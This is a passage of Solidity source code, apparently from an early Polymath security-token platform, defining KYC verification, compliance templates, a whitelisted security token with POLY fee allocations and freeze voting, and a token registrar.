_details, _fee); LogNewProvider(_providerAddress, _name, _details); return true; } /** * @dev Change a providers fee * @param _newFee The new fee of the provider */ function changeFee(uint256 _newFee) public returns (bool success) { require(providers[msg.sender].details != 0x0); providers[msg.sender].fee = _newFee; return true; } /** * @dev Verify an investor * @param _customer The customer's public key address * @param _countryJurisdiction The jurisdiction country code of the customer * @param _divisionJurisdiction The jurisdiction subdivision code of the customer * @param _role The type of customer - investor:1, delegate:2, issuer:3, marketmaker:4, etc. * @param _accredited Whether the customer is accredited or not (only applied to investors) * @param _expires The time the verification expires */ function verifyCustomer( address _customer, bytes32 _countryJurisdiction, bytes32 _divisionJurisdiction, uint8 _role, bool _accredited, uint256 _expires ) public onlyProvider returns (bool success) { require(_expires > now); require(POLY.transferFrom(_customer, msg.sender, providers[msg.sender].fee)); customers[msg.sender][_customer].countryJurisdiction = _countryJurisdiction; customers[msg.sender][_customer].divisionJurisdiction = _divisionJurisdiction; customers[msg.sender][_customer].role = _role; customers[msg.sender][_customer].accredited = _accredited; customers[msg.sender][_customer].expires = _expires; customers[msg.sender][_customer].verified = true; LogCustomerVerified(_customer, msg.sender, _role); return true; } /////////////////// /// GET Functions ////////////////// /** * @dev Get customer attestation data by KYC provider and customer ethereum address * @param _provider Address of the KYC provider. * @param _customer Address of the customer ethereum address */ function getCustomer(address _provider, address _customer) public constant returns ( bytes32, bytes32, bool, uint8, bool, uint256 ) { return ( customers[_provider][_customer].countryJurisdiction, customers[_provider][_customer].divisionJurisdiction, customers[_provider][_customer].accredited, customers[_provider][_customer].role, customers[_provider][_customer].verified, customers[_provider][_customer].expires ); } /** * Get provider details and fee by ethereum address * @param _providerAddress Address of the KYC provider */ function getProvider(address _providerAddress) public constant returns ( string name, uint256 joined, bytes32 details, uint256 fee ) { return ( providers[_providerAddress].name, providers[_providerAddress].joined, providers[_providerAddress].details, providers[_providerAddress].fee ); } } interface ITemplate { /** * @dev `addJurisdiction` allows the adding of new jurisdictions to a template * @param _allowedJurisdictions An array of jurisdictions * @param _allowed An array of whether the jurisdiction is allowed to purchase the security or not */ function addJurisdiction(bytes32[] _allowedJurisdictions, bool[] _allowed) public; /** * @dev `addDivisionJurisdiction` allows the adding of new jurisdictions to a template * @param _blockedDivisionJurisdictions An array of jurisdictions * @param _blocked An array of whether the jurisdiction is allowed to purchase the security or not */ function addDivisionJurisdiction(bytes32[] _blockedDivisionJurisdictions, bool[] _blocked) public; /** * @dev `addRole` allows the adding of new roles to be added to whitelist * @param _allowedRoles User roles that can purchase the security */ function addRoles(uint8[] _allowedRoles) public; /** * @notice `updateDetails` * @param _details details of the template need to change * @return allowed boolean variable */ function updateDetails(bytes32 _details) public returns (bool allowed); /** * @dev `finalizeTemplate` is used to finalize template.full compliance process/requirements * @return success */ function finalizeTemplate() public returns (bool success); /** * @dev `checkTemplateRequirements` is a constant function that checks if templates requirements are met * @param _countryJurisdiction The ISO-3166 code of the investors country jurisdiction * @param _divisionJurisdiction The ISO-3166 code of the investors subdivision jurisdiction * @param _accredited Whether the investor is accredited or not * @param _role role of the user * @return allowed boolean variable */ function checkTemplateRequirements( bytes32 _countryJurisdiction, bytes32 _divisionJurisdiction, bool _accredited, uint8 _role ) public constant returns (bool allowed); /** * @dev getTemplateDetails is a constant function that gets template details * @return bytes32 details, bool finalized */ function getTemplateDetails() view public returns (bytes32, bool); /** * @dev `getUsageFees` is a function to get all the details on template usage fees * @return uint256 fee, uint8 quorum, uint256 vestingPeriod, address owner, address KYC */ function getUsageDetails() view public returns (uint256, uint8, uint256, address, address); } /* Polymath compliance template is intended to ensure regulatory compliance in the jurisdictions that security tokens are being offered in. The compliance template allows security tokens to enforce purchase restrictions on chain and keep a log of documents for future auditing purposes. */ /** * @title Template * @dev Template details used for the security token offering to ensure the regulatory compliance */ contract Template is ITemplate { string public VERSION = "1"; address public owner; // Address of the owner of template string public offeringType; // Name of the security being issued bytes32 public issuerJurisdiction; // Variable contains the jurisdiction of the issuer of the template mapping(bytes32 => bool) public allowedJurisdictions; // Mapping that contains the allowed staus of Jurisdictions mapping(bytes32 => bool) public blockedDivisionJurisdictions; // Mapping that contains the allowed staus of Jurisdictions mapping(uint8 => bool) public allowedRoles; // Mapping that contains the allowed status of Roles bool public accredited; // Variable that define the required level of accrediation for the investor address public KYC; // Address of the KYC provider bytes32 details; // Details of the offering requirements bool finalized; // Variable to know the status of the template (complete - true, not complete - false) uint256 public expires; // Timestamp when template expires uint256 fee; // Amount of POLY to use the template (held in escrow until issuance) uint8 quorum; // Minimum percent of shareholders which need to vote to freeze uint256 vestingPeriod; // Length of time to vest funds event DetailsUpdated(bytes32 _prevDetails, bytes32 _newDetails, uint _updateDate); function Template ( address _owner, string _offeringType, bytes32 _issuerJurisdiction, bool _accredited, address _KYC, bytes32 _details, uint256 _expires, uint256 _fee, uint8 _quorum, uint256 _vestingPeriod ) public { require(_KYC != address(0) && _owner != address(0)); require(_fee > 0); require(_details.length > 0 && _expires > now && _issuerJurisdiction.length > 0); require(_quorum > 0 && _quorum <= 100); require(_vestingPeriod > 0); owner = _owner; offeringType = _offeringType; issuerJurisdiction = _issuerJurisdiction; accredited = _accredited; KYC = _KYC; details = _details; finalized = false; expires = _expires; fee = _fee; quorum = _quorum; vestingPeriod = _vestingPeriod; } /** * @dev `addJurisdiction` allows the adding of new jurisdictions to a template * @param _allowedJurisdictions An array of jurisdictions * @param _allowed An array of whether the jurisdiction is allowed to purchase the security or not */ function addJurisdiction(bytes32[] _allowedJurisdictions, bool[] _allowed) public { require(owner == msg.sender); require(_allowedJurisdictions.length == _allowed.length); require(!finalized); for (uint i = 0; i < _allowedJurisdictions.length; ++i) { allowedJurisdictions[_allowedJurisdictions[i]] = _allowed[i]; } } /** * @dev `addJurisdiction` allows the adding of new jurisdictions to a template * @param _blockedDivisionJurisdictions An array of subdivision jurisdictions * @param _blocked An array of whether the subdivision jurisdiction is blocked to purchase the security or not */ function addDivisionJurisdiction(bytes32[] _blockedDivisionJurisdictions, bool[] _blocked) public { require(owner == msg.sender); require(_blockedDivisionJurisdictions.length == _blocked.length); require(!finalized); for (uint i = 0; i < _blockedDivisionJurisdictions.length; ++i) { blockedDivisionJurisdictions[_blockedDivisionJurisdictions[i]] = _blocked[i]; } } /** * @dev `addRole` allows the adding of new roles to be added to whitelist * @param _allowedRoles User roles that can purchase the security */ function addRoles(uint8[] _allowedRoles) public { require(owner == msg.sender); require(!finalized); for (uint i = 0; i < _allowedRoles.length; ++i) { allowedRoles[_allowedRoles[i]] = true; } } /** * @notice `updateDetails` * @param _details details of the template need to change * @return allowed boolean variable */ function updateDetails(bytes32 _details) public returns (bool allowed) { require(_details != 0x0); require(owner == msg.sender); bytes32 prevDetails = details; details = _details; DetailsUpdated(prevDetails, details, now); return true; } /** * @dev `finalizeTemplate` is used to finalize template.full compliance process/requirements * @return success */ function finalizeTemplate() public returns (bool success) { require(owner == msg.sender); finalized = true; return true; } /** * @dev `checkTemplateRequirements` is a constant function that checks if templates requirements are met * @param _countryJurisdiction The ISO-3166 code of the investors country jurisdiction * @param _divisionJurisdiction The ISO-3166 code of the investors subdivision jurisdiction * @param _accredited Whether the investor is accredited or not * @param _role role of the user * @return allowed boolean variable */ function checkTemplateRequirements( bytes32 _countryJurisdiction, bytes32 _divisionJurisdiction, bool _accredited, uint8 _role ) public constant returns (bool allowed) { require(_countryJurisdiction != 0x0); require(allowedJurisdictions[_countryJurisdiction] || !blockedDivisionJurisdictions[_divisionJurisdiction]); require(allowedRoles[_role]); if (accredited) { require(_accredited); } return true; } /** * @dev getTemplateDetails is a constant function that gets template details * @return bytes32 details, bool finalized */ function getTemplateDetails() view public returns (bytes32, bool) { require(expires > now); return (details, finalized); } /** * @dev `getUsageFees` is a function to get all the details on template usage fees * @return uint256 fee, uint8 quorum, uint256 vestingPeriod, address owner, address KYC */ function getUsageDetails() view public returns (uint256, uint8, uint256, address, address) { return (fee, quorum, vestingPeriod, owner, KYC); } } interface ISecurityToken { /** * @dev Set default security token parameters * @param _name Name of the security token * @param _ticker Ticker name of the security * @param _totalSupply Total amount of tokens being created * @param _decimals Decimals for token * @param _owner Ethereum address of the security token owner * @param _maxPoly Amount of maximum poly issuer want to raise * @param _lockupPeriod Length of time raised POLY will be locked up for dispute * @param _quorum Percent of initial investors required to freeze POLY raise * @param _polyTokenAddress Ethereum address of the POLY token contract * @param _polyCustomersAddress Ethereum address of the PolyCustomers contract * @param _polyComplianceAddress Ethereum address of the PolyCompliance contract */ function SecurityToken( string _name, string _ticker, uint256 _totalSupply, uint8 _decimals, address _owner, uint256 _maxPoly, uint256 _lockupPeriod, uint8 _quorum, address _polyTokenAddress, address _polyCustomersAddress, address _polyComplianceAddress ) public; /** * @dev `selectTemplate` Select a proposed template for the issuance * @param _templateIndex Array index of the delegates proposed template * @return bool success */ function selectTemplate(uint8 _templateIndex) public returns (bool success); /** * @dev Update compliance proof hash for the issuance * @param _newMerkleRoot New merkle root hash of the compliance Proofs * @param _complianceProof Compliance Proof hash * @return bool success */ function updateComplianceProof( bytes32 _newMerkleRoot, bytes32 _complianceProof ) public returns (bool success); /** * @dev `selectOfferingProposal` Select an security token offering proposal for the issuance * @param _offeringProposalIndex Array index of the STO proposal * @return bool success */ function selectOfferingProposal ( uint8 _offeringProposalIndex ) public returns (bool success); /** * @dev Start the offering by sending all the tokens to STO contract * @return bool */ function startOffering() external returns (bool success); /** * @dev Add a verified address to the Security Token whitelist * @param _whitelistAddress Address attempting to join ST whitelist * @return bool success */ function addToWhitelist(uint8 KYCProviderIndex, address _whitelistAddress) public returns (bool success); /** * @dev Allow POLY allocations to be withdrawn by owner, delegate, and the STO auditor at appropriate times * @return bool success */ function withdrawPoly() public returns (bool success); /** * @dev Vote to freeze the fee of a certain network participant * @param _recipient The fee recipient being protested * @return bool success */ function voteToFreeze(address _recipient) public returns (bool success); /** * @dev `issueSecurityTokens` is used by the STO to keep track of STO investors * @param _contributor The address of the person whose contributing * @param _amountOfSecurityTokens The amount of ST to pay out. * @param _polyContributed The amount of POLY paid for the security tokens. */ function issueSecurityTokens(address _contributor, uint256 _amountOfSecurityTokens, uint256 _polyContributed) public returns (bool success); /// Get token details function getTokenDetails() view public returns (address, address, bytes32, address, address); /** * @dev Trasfer tokens from one address to another * @param _to Ethereum public address to transfer tokens to * @param _value Amount of tokens to send * @return bool success */ function transfer(address _to, uint256 _value) public returns (bool success); /** * @dev Allows contracts to transfer tokens on behalf of token holders * @param _from Address to transfer tokens from * @param _to Address to send tokens to * @param _value Number of tokens to transfer * @return bool success */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /** * @dev `balanceOf` used to get the balance of shareholders * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) public constant returns (uint256 balance); /** * @dev Approve transfer of tokens manually * @param _spender Address to approve transfer to * @param _value Amount of tokens to approve for transfer * @return bool success */ function approve(address _spender, uint256 _value) public returns (bool success); /** * @dev Use to get the allowance provided to the spender * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining); } interface ISTRegistrar { /** * @dev Creates a new Security Token and saves it to the registry * @param _name Name of the security token * @param _ticker Ticker name of the security * @param _totalSupply Total amount of tokens being created * @param _owner Ethereum public key address of the security token owner * @param _maxPoly Amount of maximum poly issuer want to raise * @param _host The host of the security token wizard * @param _fee Fee being requested by the wizard host * @param _type Type of security being tokenized * @param _lockupPeriod Length of time raised POLY will be locked up for dispute * @param _quorum Percent of initial investors required to freeze POLY raise */ function createSecurityToken ( string _name, string _ticker, uint256 _totalSupply, uint8 _decimals, address _owner, uint256 _maxPoly, address _host, uint256 _fee, uint8 _type, uint256 _lockupPeriod, uint8 _quorum ) external; } /** * SafeMath <https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol/> * Copyright (c) 2016 Smart Contract Solutions, Inc. * Released under the MIT License (MIT) */ /// @title Math operations with safety checks library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract STO20 { uint256 public startTime; uint256 public endTime; /** * @dev Initializes the STO with certain params * @dev _tokenAddress Address of the security token * @param _startTime Given in UNIX time this is the time that the offering will begin * @param _endTime Given in UNIX time this is the time that the offering will end */ function securityTokenOffering( address _tokenAddress, uint256 _startTime, uint256 _endTime ) external ; } /** * @title SecurityToken * @dev Contract (A Blueprint) that contains the functionalities of the security token */ contract SecurityToken is IERC20 { using SafeMath for uint256; string public VERSION = "1"; IERC20 public POLY; // Instance of the POLY token contract ICompliance public PolyCompliance; // Instance of the Compliance contract ITemplate public Template; // Instance of the Template contract ICustomers public PolyCustomers; // Instance of the Customers contract STO20 public STO; // ERC20 Fields string public name; // Name of the security token uint8 public decimals; // Decimals for the security token it should be 0 as standard string public symbol; // Symbol of the security token address public owner; // Address of the owner of the security token uint256 public totalSupply; // Total number of security token generated mapping(address => mapping(address => uint256)) allowed; // Mapping as same as in ERC20 token mapping(address => uint256) balances; // Array used to store the balances of the security token holders // Template address public delegate; // Address who create the template bytes32 public merkleRoot; // address public KYC; // Address of the KYC provider which aloowed the roles and jurisdictions in the template // Security token shareholders struct Shareholder { // Structure that contains the data of the shareholders address verifier; // verifier - address of the KYC oracle bool allowed; // allowed - whether the shareholder is allowed to transfer or recieve the security token uint8 role; // role - role of the shareholder {1,2,3,4} } mapping(address => Shareholder) public shareholders; // Mapping that holds the data of the shareholder corresponding to investor address // STO bool public isSTOProposed = false; bool public hasOfferingStarted = false; uint256 public maxPoly; // The start and end time of the STO uint256 public startSTO; // Timestamp when Security Token Offering will be start uint256 public endSTO; // Timestamp when Security Token Offering contract will ends // POLY allocations struct Allocation { // Structure that contains the allocation of the POLY for stakeholders uint256 amount; // stakeholders - delegate, issuer(owner), auditor uint256 vestingPeriod; uint8 quorum; uint256 yayVotes; uint256 yayPercent; bool frozen; } mapping(address => mapping(address => bool)) public voted; // Voting mapping mapping(address => Allocation) public allocations; // Mapping that contains the data of allocation corresponding to stakeholder address // Security Token Offering statistics mapping(address => uint256) public contributedToSTO; // Mapping for tracking the POLY contribution by the contributor uint256 public tokensIssuedBySTO = 0; // Flag variable to track the security token issued by the offering contract // Notifications event LogTemplateSet(address indexed _delegateAddress, address _template, address indexed _KYC); event LogUpdatedComplianceProof(bytes32 _merkleRoot, bytes32 _complianceProofHash); event LogSetSTOContract(address _STO, address indexed _STOtemplate, address indexed _auditor, uint256 _startTime, uint256 _endTime); event LogNewWhitelistedAddress(address _KYC, address _shareholder, uint8 _role); event LogNewBlacklistedAddress(address _KYC, address _shareholder); event LogVoteToFreeze(address _recipient, uint256 _yayPercent, uint8 _quorum, bool _frozen); event LogTokenIssued(address indexed _contributor, uint256 _stAmount, uint256 _polyContributed, uint256 _timestamp); //Modifiers modifier onlyOwner() { require (msg.sender == owner); _; } modifier onlyDelegate() { require (msg.sender == delegate); _; } modifier onlyOwnerOrDelegate() { require (msg.sender == delegate || msg.sender == owner); _; } modifier onlySTO() { require (msg.sender == address(STO)); _; } modifier onlyShareholder() { require (shareholders[msg.sender].allowed); _; } /** * @dev Set default security token parameters * @param _name Name of the security token * @param _ticker Ticker name of the security * @param _totalSupply Total amount of tokens being created * @param _owner Ethereum address of the security token owner * @param _maxPoly Amount of maximum poly issuer want to raise * @param _lockupPeriod Length of time raised POLY will be locked up for dispute * @param _quorum Percent of initial investors required to freeze POLY raise * @param _polyTokenAddress Ethereum address of the POLY token contract * @param _polyCustomersAddress Ethereum address of the PolyCustomers contract * @param _polyComplianceAddress Ethereum address of the PolyCompliance contract */ function SecurityToken( string _name, string _ticker, uint256 _totalSupply, uint8 _decimals, address _owner, uint256 _maxPoly, uint256 _lockupPeriod, uint8 _quorum, address _polyTokenAddress, address _polyCustomersAddress, address _polyComplianceAddress ) public { decimals = _decimals; name = _name; symbol = _ticker; owner = _owner; maxPoly = _maxPoly; totalSupply = _totalSupply; balances[_owner] = _totalSupply; POLY = IERC20(_polyTokenAddress); PolyCustomers = ICustomers(_polyCustomersAddress); PolyCompliance = ICompliance(_polyComplianceAddress); allocations[owner] = Allocation(0, _lockupPeriod, _quorum, 0, 0, false); Transfer(0x0, _owner, _totalSupply); } /* function initialiseBalances(uint256) */ /** * @dev `selectTemplate` Select a proposed template for the issuance * @param _templateIndex Array index of the delegates proposed template * @return bool success */ function selectTemplate(uint8 _templateIndex) public onlyOwner returns (bool success) { require(!isSTOProposed); address _template = PolyCompliance.getTemplateByProposal(this, _templateIndex); require(_template != address(0)); Template = ITemplate(_template); var (_fee, _quorum, _vestingPeriod, _delegate, _KYC) = Template.getUsageDetails(); require(POLY.balanceOf(this) >= _fee); allocations[_delegate] = Allocation(_fee, _vestingPeriod, _quorum, 0, 0, false); delegate = _delegate; KYC = _KYC; PolyCompliance.updateTemplateReputation(_template, _templateIndex); LogTemplateSet(_delegate, _template, _KYC); return true; } /** * @dev Update compliance proof hash for the issuance * @param _newMerkleRoot New merkle root hash of the compliance Proofs * @param _merkleRoot Compliance Proof hash * @return bool success */ function updateComplianceProof( bytes32 _newMerkleRoot, bytes32 _merkleRoot ) public onlyOwnerOrDelegate returns (bool success) { merkleRoot = _newMerkleRoot; LogUpdatedComplianceProof(merkleRoot, _merkleRoot); return true; } /** * @dev `selectOfferingProposal` Select an security token offering proposal for the issuance * @param _offeringProposalIndex Array index of the STO proposal * @return bool success */ function selectOfferingProposal (uint8 _offeringProposalIndex) public onlyDelegate returns (bool success) { require(!isSTOProposed); var (_stoContract, _auditor, _vestingPeriod, _quorum, _fee) = PolyCompliance.getOfferingByProposal(this, _offeringProposalIndex); require(_stoContract != address(0)); require(merkleRoot != 0x0); require(delegate != address(0)); require(POLY.balanceOf(this) >= allocations[delegate].amount.add(_fee)); STO = STO20(_stoContract); require(STO.startTime() > now && STO.endTime() > STO.startTime()); allocations[_auditor] = Allocation(_fee, _vestingPeriod, _quorum, 0, 0, false); shareholders[address(STO)] = Shareholder(this, true, 5); startSTO = STO.startTime(); endSTO = STO.endTime(); isSTOProposed = !isSTOProposed; PolyCompliance.updateOfferingReputation(_stoContract, _offeringProposalIndex); LogSetSTOContract(STO, _stoContract, _auditor, startSTO, endSTO); return true; } /** * @dev Start the offering by sending all the tokens to STO contract * @return bool */ function startOffering() onlyOwner external returns (bool success) { require(isSTOProposed); require(!hasOfferingStarted); uint256 tokenAmount = this.balanceOf(msg.sender); require(tokenAmount == totalSupply); balances[STO] = balances[STO].add(tokenAmount); balances[msg.sender] = balances[msg.sender].sub(tokenAmount); hasOfferingStarted = true; Transfer(owner, STO, tokenAmount); return true; } /** * @dev Add a verified address to the Security Token whitelist * The Issuer can add an address to the whitelist by themselves by * creating their own KYC provider and using it to verify the accounts * they want to add to the whitelist. * @param _whitelistAddress Address attempting to join ST whitelist * @return bool success */ function addToWhitelist(address _whitelistAddress) onlyOwner public returns (bool success) { var (countryJurisdiction, divisionJurisdiction, accredited, role, verified, expires) = PolyCustomers.getCustomer(KYC, _whitelistAddress); require(verified && expires > now); require(Template.checkTemplateRequirements(countryJurisdiction, divisionJurisdiction, accredited, role)); shareholders[_whitelistAddress] = Shareholder(msg.sender, true, role); LogNewWhitelistedAddress(msg.sender, _whitelistAddress, role); return true; } /** * @dev Add a verified address to the Security Token blacklist * @param _blacklistAddress Address being added to the blacklist * @return bool success */ function addToBlacklist(address _blacklistAddress) onlyOwner public returns (bool success) { require(shareholders[_blacklistAddress].allowed); shareholders[_blacklistAddress].allowed = false; LogNewBlacklistedAddress(msg.sender, _blacklistAddress); return true; } /** * @dev Allow POLY allocations to be withdrawn by owner, delegate, and the STO auditor at appropriate times * @return bool success */ function withdrawPoly() public returns (bool success) { if (delegate == address(0)) { return POLY.transfer(owner, POLY.balanceOf(this)); } require(now > endSTO + allocations[msg.sender].vestingPeriod); require(!allocations[msg.sender].frozen); require(allocations[msg.sender].amount > 0); require(POLY.transfer(msg.sender, allocations[msg.sender].amount)); allocations[msg.sender].amount = 0; return true; } /** * @dev Vote to freeze the fee of a certain network participant * @param _recipient The fee recipient being protested * @return bool success */ function voteToFreeze(address _recipient) public onlyShareholder returns (bool success) { require(delegate != address(0)); require(now > endSTO); require(now < endSTO.add(allocations[_recipient].vestingPeriod)); require(!voted[msg.sender][_recipient]); voted[msg.sender][_recipient] = true; allocations[_recipient].yayVotes = allocations[_recipient].yayVotes.add(contributedToSTO[msg.sender]); allocations[_recipient].yayPercent = allocations[_recipient].yayVotes.mul(100).div(allocations[owner].amount); if (allocations[_recipient].yayPercent >= allocations[_recipient].quorum) { allocations[_recipient].frozen = true; } LogVoteToFreeze(_recipient, allocations[_recipient].yayPercent, allocations[_recipient].quorum, allocations[_recipient].frozen); return true; } /** * @dev `issueSecurityTokens` is used by the STO to keep track of STO investors * @param _contributor The address of the person whose contributing * @param _amountOfSecurityTokens The amount of ST to pay out. * @param _polyContributed The amount of POLY paid for the security tokens. */ function issueSecurityTokens(address _contributor, uint256 _amountOfSecurityTokens, uint256 _polyContributed) public onlySTO returns (bool success) { // Check whether the offering active or not require(hasOfferingStarted); // The _contributor being issued tokens must be in the whitelist require(shareholders[_contributor].allowed); // Tokens may only be issued while the STO is running require(now >= startSTO && now <= endSTO); // In order to issue the ST, the _contributor first pays in POLY require(POLY.transferFrom(_contributor, this, _polyContributed)); // ST being issued can't be higher than the totalSupply require(tokensIssuedBySTO.add(_amountOfSecurityTokens) <= totalSupply); // POLY contributed can't be higher than maxPoly set by STO require(maxPoly >= allocations[owner].amount.add(_polyContributed)); // Update ST balances (transfers ST from STO to _contributor) balances[STO] = balances[STO].sub(_amountOfSecurityTokens); balances[_contributor] = balances[_contributor].add(_amountOfSecurityTokens); // ERC20 Transfer event Transfer(STO, _contributor, _amountOfSecurityTokens); // Update the amount of tokens issued by STO tokensIssuedBySTO = tokensIssuedBySTO.add(_amountOfSecurityTokens); // Update the amount of POLY a contributor has contributed and allocated to the owner contributedToSTO[_contributor] = contributedToSTO[_contributor].add(_polyContributed); allocations[owner].amount = allocations[owner].amount.add(_polyContributed); LogTokenIssued(_contributor, _amountOfSecurityTokens, _polyContributed, now); return true; } // Get token details function getTokenDetails() view public returns (address, address, bytes32, address, address) { return (Template, delegate, merkleRoot, STO, KYC); } /////////////////////////////////////////////// Customized ERC20 Functions //////////////////////////////////////////////////////////// /** * @dev Trasfer tokens from one address to another * @param _to Ethereum public address to transfer tokens to * @param _value Amount of tokens to send * @return bool success */ function transfer(address _to, uint256 _value) public returns (bool success) { if (shareholders[_to].allowed && shareholders[msg.sender].allowed && balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } /** * @dev Allows contracts to transfer tokens on behalf of token holders * @param _from Address to transfer tokens from * @param _to Address to send tokens to * @param _value Number of tokens to transfer * @return bool success */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (shareholders[_to].allowed && shareholders[_from].allowed && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } else { return false; } } /** * @dev `balanceOf` used to get the balance of shareholders * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev Approve transfer of tokens manually * @param _spender Address to approve transfer to * @param _value Amount of tokens to approve for transfer * @return bool success */ function approve(address _spender, uint256 _value) public returns (bool success) { require(_value != 0); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Use to get the allowance provided to the spender * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /* The Polymath Security Token Registrar provides a way to lookup security token details from a single place and allows wizard creators to earn POLY fees by uploading to the registrar. */ /** * @title SecurityTokenRegistrar * @dev Contract use to register the security token on Polymath platform */ contract SecurityTokenRegistrar is ISTRegistrar { string public VERSION = "1"; SecurityToken securityToken; address public polyTokenAddress; // Address of POLY token address public polyCustomersAddress; // Address of the polymath-core Customers contract address address public polyComplianceAddress; // Address of the polymath-core Compliance contract address // Security Token struct SecurityTokenData { // A structure that contains the specific info of each ST uint256 totalSupply; // created ever using the Polymath platform address owner; uint8 decimals; string ticker; uint8 securityType; } mapping(address => SecurityTokenData) securityTokens; // Array contains the details of security token corresponds to security token address mapping(string => address) tickers; // Mapping of ticker name to Security Token event LogNewSecurityToken(string ticker, address securityTokenAddress, address owner, address host, uint256 fee, uint8 _type); /** * @dev Constructor use to set the essentials addresses to facilitate * the creation of the security token */ function SecurityTokenRegistrar( address _polyTokenAddress, address _polyCustomersAddress, address _polyComplianceAddress ) public { polyTokenAddress = _polyTokenAddress; polyCustomersAddress = _polyCustomersAddress; polyComplianceAddress = _polyComplianceAddress; // Creating the instance of the compliance contract and assign the STR contract // address (this) into the compliance contract Compliance PolyCompliance = Compliance(polyComplianceAddress); require(PolyCompliance.setRegsitrarAddress(this)); } /** * @dev Creates a new Security Token and saves it to the registry * @param _name Name of the security token * @param _ticker Ticker name of the security * @param _totalSupply Total amount of tokens being created * @param _decimals Decimals value for token * @param _owner Ethereum public key address of the security token owner * @param _maxPoly Amount of maximum poly issuer want to raise * @param _host The host of the security token wizard * @param _fee Fee being requested by the wizard host * @param _type Type of security being tokenized * @param _lockupPeriod Length of time raised POLY will be locked up for dispute * @param _quorum Percent of initial investors required to freeze POLY raise */ function createSecurityToken ( string _name, string _ticker, uint256 _totalSupply, uint8 _decimals, address _owner, uint256 _maxPoly, address _host, uint256 _fee, uint8 _type, uint256 _lockupPeriod, uint8 _quorum ) external { require(_totalSupply > 0 && _maxPoly > 0 && _fee > 0); require(tickers[_ticker] == 0x0); require(_lockupPeriod >= now); require(_owner != address(0) && _host != address(0)); require(bytes(_name).length > 0 && bytes(_ticker).length > 0); IERC20 POLY = IERC20(polyTokenAddress); POLY.transferFrom(msg.sender, _host, _fee); address newSecurityTokenAddress = initialiseSecurityToken(_name, _ticker, _totalSupply, _decimals, _owner, _maxPoly, _type, _lockupPeriod, _quorum); LogNewSecurityToken(_ticker, newSecurityTokenAddress, _owner, _host, _fee, _type); } function initialiseSecurityToken( string _name, string _ticker, uint256 _totalSupply, uint8 _decimals, address _owner, uint256 _maxPoly, uint8 _type, uint256 _lockupPeriod, uint8 _quorum ) internal returns (address) { address newSecurityTokenAddress = new SecurityToken( _name, _ticker, _totalSupply, _decimals, _owner, _maxPoly, _lockupPeriod, _quorum, polyTokenAddress, polyCustomersAddress, polyComplianceAddress ); tickers[_ticker] = newSecurityTokenAddress; securityTokens[newSecurityTokenAddress] = SecurityTokenData( _totalSupply, _owner, _decimals, _ticker, _type ); return newSecurityTokenAddress; } ////////////////////////////// ///////// Get Functions ////////////////////////////// /** * @dev Get security token address by ticker name * @param _ticker Symbol of the Scurity token * @return address _ticker */ function getSecurityTokenAddress(string _ticker) public constant returns (address) { return tickers[_ticker]; } /** * @dev Get Security token details by its ethereum address * @param _STAddress Security token address */ function getSecurityTokenData(address _STAddress) public constant returns ( uint256 totalSupply, address owner, uint8 decimals, string ticker, uint8 securityType ) { return ( securityTokens[_STAddress].totalSupply, securityTokens[_STAddress].owner, securityTokens[_STAddress].decimals, securityTokens[_STAddress].ticker, securityTokens[_STAddress].securityType ); } } /* Polymath compliance protocol is intended to ensure regulatory compliance in the jurisdictions that security tokens are being offered in. The compliance protocol allows security tokens remain interoperable so that anyone can build on top of the Polymath platform and extend it's functionality. */ /** * @title Compilance * @dev Regulatory details offered by the security token */ contract Compliance is ICompliance { string public VERSION = "1"; ITemplate template; SecurityTokenRegistrar public STRegistrar; struct TemplateReputation { // Structure contains the compliance template details address owner; // Address of the template owner uint256 totalRaised; // Total amount raised by the issuers that used the template uint256 timesUsed; // How many times template will be used as the compliance regulator for different security token uint256 expires; // Timestamp when template get expire address[] usedBy; // Array of security token addresses that used the particular template } mapping(address => TemplateReputation) public templates; // Mapping used for storing the template past records corresponds to template address mapping(address => address[]) public templateProposals; // Template proposals for a specific security token struct Offering { // Smart contract proposals for a specific security token offering address auditor; uint256 fee; uint256 vestingPeriod; uint8 quorum; address[] usedBy; } mapping(address => Offering) offerings; // Mapping used for storing the Offering detials corresponds to offering contract address mapping(address => address[]) public offeringProposals; // Security token contract proposals for a specific security token Customers public PolyCustomers; // Instance of the Compliance contract uint256 public constant MINIMUM_VESTING_PERIOD = 60 * 60 * 24 * 100; // 100 Day minimum vesting period for POLY earned // Notifications event LogTemplateCreated(address indexed _creator, address _template, string _offeringType); event LogNewTemplateProposal(address indexed _securityToken, address _template, address _delegate, uint _templateProposalIndex); event LogCancelTemplateProposal(address indexed _securityToken, address _template, uint 